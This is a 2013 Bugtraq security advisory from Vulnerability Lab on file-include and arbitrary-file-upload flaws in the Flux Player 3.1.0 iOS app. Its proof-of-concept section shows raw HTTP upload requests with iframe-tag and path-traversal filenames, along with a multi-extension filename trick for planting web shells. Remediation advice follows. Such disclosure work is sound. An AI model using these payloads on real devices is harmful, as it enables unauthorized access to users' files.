[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Flux Player v3.1.0 iOS - File Include & Arbitrary File Upload Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: Flux Player v3.1.0 iOS - File Include & Arbitrary File Upload Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Wed, 17 Jul 2013 22:43:53 +0100
Title:
======
Flux Player v3.1.0 iOS - File Include & Arbitrary File Upload Vulnerability
Date:
=====
2013-07-16
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=1013
VL-ID:
=====
1013
Common Vulnerability Scoring System:
====================================
7.5
Introduction:
=============
With `Flux Player` you can use your iPhone, iPad or iPod touch for download,
transfer and playback of movies,
audio books and music. The movies may be from transferred from commercial
services, products or alternatively
from yourself by drag-and-drop with the free `Flux Transfer` PC application.
(Copy of the Vendor Homepage:
https://itunes.apple.com/en/app/flux-player/id324300572 )
Abstract:
=========
The Vulnerability Laboratory Research Team discovered a file include &
arbitrary file upload vulnerability in the Flux Player 3.1.0 (Apple iOS - iPad
& iPhone).
Report-Timeline:
================
2013-07-16: Public Disclosure (Vulnerability Laboratory)
Status:
========
Published
Affected Products:
==================
Apple AppStore
Product: Flux Player - Application 3.1.0
Exploitation-Technique:
=======================
Remote
Severity:
=========
High
Details:
========
1.1
A file include web vulnerability is detected in the Flux Player 3.1.0
Application (Apple iOS - iPad & iPhone).
The file include vulnerability allows remote attackers to include (upload)
local file or path requests to compromise the application or service.
The vulnerability is located in the upload module when processing to upload
files with manipulated names via POST method. The attacker can inject
local path or files to request context and compromise the device. The
validation has a bad side effect which impacts the risk to combine the attack
with persistent injected script code.
Exploitation of the vulnerability requires no user interaction or privilege
flux player application user account. Successful exploitation of the
vulnerability results in unauthorized local file and path requests to
compromise the device or application.
Vulnerable Module(s):
[+] Upload (Files)
Vulnerable Parameter(s):
[+] filename
Affected Module(s):
[+] Index File Dir Listing
1.2
An arbitrary file upload web vulnerability is detected in the Flux Player 3.1.0
Application (Apple iOS - iPad & iPhone).
The arbitrary file upload issue allows a remote attacker to upload files with
multiple extensions to bypass the validation for unauthorized access.
The vulnerability is located in the upload module when processing to upload
files with multiple ending extensions. Attackers are able to upload
a php or js web-shells by renaming the file with multiple extensions. He
uploads for example a web-shell with the following name and
extension picture.jpg.js.php.jpg . He deletes in the request after the upload
the jpg to access unauthorized the malicious file (web-shell) to
compromise the web-server or mobile device.
Exploitation of the vulnerability requires no user interaction or privilege
flux player application user account. Successful exploitation of the
vulnerability results in unauthorized file access because of a compromise after
the upload of web-shells.
Vulnerable Module(s):
[+] Upload (Files)
Vulnerable Parameter(s):
[+] filename (multiple extensions)
Affected Module(s):
[+] Index File Dir Listing
Proof of Concept:
=================
The local file include and arbitary file upload vulnerability can be exploited
by remote attackers without privilege application
user account and also without user interaction. For demonstration or reproduce
...
1.1
--- Request Session Log 1 - Local File Include ---
Status: 200[OK]
POST http://localhost:8080/
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[1053]
Mime
Type[application/x-unknown-content-type]
Request Headers:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101
Firefox/22.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]
Post Data:
POST_DATA[-----------------------------21961286324572
Content-Disposition: form-data; name="file"; filename=<iframe src=a>"<iframe
src=var/app/Mobile>"
Content-Type: image/png
-
--
Status: 200[OK]
GET http://localhost:8080/../var/app/Mobile > [Included File/Path as Filename!]
Load Flags[LOAD_DOCUMENT_URI ] Content Size[669] Mime
Type[application/x-unknown-
content-type]
Request Headers:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101
Firefox/22.0]
Accept [text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]
Response Headers:
Accept-Ranges[bytes]
Content-Length[669]
Date[Mo., 15 Jul 2013 20:05:02 GMT]
1.2
--- Request Session Log 2 - Arbitrary File Upload ---
Status: 200[OK]
POST http://localhost:8080/
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[1053]
Mime
Type[application/x-unknown-content-type]
Request Headers:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101
Firefox/22.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]
Post Data:
POST_DATA[-----------------------------21961286324572
Content-Disposition: form-data; name="file";
filename="schoko-drops-337.gif.html.php.js.jpg"
Content-Type: image/png
---
Status: 200[OK]
GET http://localhost:8080/schoko-drops-337.gif.html.php.js.jpg > [Included
File/Path as Filename!]
Load Flags[LOAD_DOCUMENT_URI ] Content Size[669] Mime
Type[application/x-unknown-
content-type]
Request Headers:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101
Firefox/22.0]
Accept [text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]
Response Headers:
Accept-Ranges[bytes]
Content-Length[669]
Date[Mo., 15 Jul 2013 20:05:05 GMT]
Note:
After the upload of the manipulated malicious file (shell or web-shell), the
remote attacker is able to access the
full files by a delete of the image file extension. Its also possible to upload
a file with multiple file extensions
and to access with another frame.
PoC:
<html><head><title>Files from </title><style>html {background-color:#eeeeee}
body
{ background-color:#FFFFFF; font-family:Tahoma,Arial,Helvetica,sans-serif; font-
size:18x; margin-left:15%; margin-right:15%; border:3px groove #006600;
padding:15px; } </style></head>
<body><h1>Files from </h1><bq>The following files are hosted
live from the <strong>iPhone's</strong> Docs folder.</bq><p><a
href="..">..</a><br>
<a href=".DownloadStatus">.DownloadStatus</a> ( 0.0 Kb,
(null))<br>
<a href=".mpdrm">.mpdrm</a> ( 0.0 Kb, (null))<br>
<a href="<iframe src=a>">_<[File Include/Arbitrary File Upload
Vulnerability!]"></a>(0.0 Kb, (null))<br />
<a href=">">BKM337></a> ( 0.0 Kb, (null))<br />
<a href="Rem0ve>">Rem0ve></a> ( 0.0 Kb, (null))<br />
<a href="a2b642e7de.jpg">a2b642e7de.jpg</a> ( 0.0 Kb,
(null))<br />
</p><form action="" method="post" enctype="multipart/form-data" name="form1"
id="form1"><label>upload file
<input type="file" name="file" id="file" /></label><label><input type="submit"
name="button" id="button"
value="Submit" /></label></form></body></html></iframe></a></p></body></html>
Note:
To exploit the issue the attacker needs to bypass the validation by an inject
of 2 different scripts (tags).
After the upload the local file or path gets executed when processing to open
the item listing.
Solution:
=========
1.1
The vulnerability can be patched by a secure parse of the filenames when
processing to upload via POST method request.
Encode and parse the filename output listing in the index site of the
application. Restrict the filename name input and disallow special chars.
1.2
Restrict the input of the filenames when processing to upload a file with
multiple extension.
Encode and parse the filename output listing in the index site of the
application. Restrict the filename name input and disallow special chars.
Disallow to open urls with multiple file extensions to prevent execution or
access to web-shells.
Risk:
=====
1.1
The security risk of the local file include web vulnerability is estimated as
high.
1.2
The security risk of the arbitrary file upload vulnerability is estimated as
high(+).
Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx)
Disclaimer:
===========
The information provided in this advisory is provided as it is without any
warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and
capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have
been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential
or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor
licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com
- www.evolution-sec.com
Contact: admin@xxxxxxxxxxxxxxxxxxxxx -
research@xxxxxxxxxxxxxxxxxxxxx - admin@xxxxxxxxxxxxxxxxx
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com
- magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab
- youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php -
vulnerability-lab.com/rss/rss_upcoming.php -
vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file
requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is
granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All
pictures, texts, advisories, source code, videos and
other information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@xxxxxxxxxxxxxxxxxxxxx or
research@xxxxxxxxxxxxxxxxxxxxx) to get a permission.
Copyright © 2013 | Vulnerability Laboratory
[Evolution Security]
--
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: research@xxxxxxxxxxxxxxxxxxxxx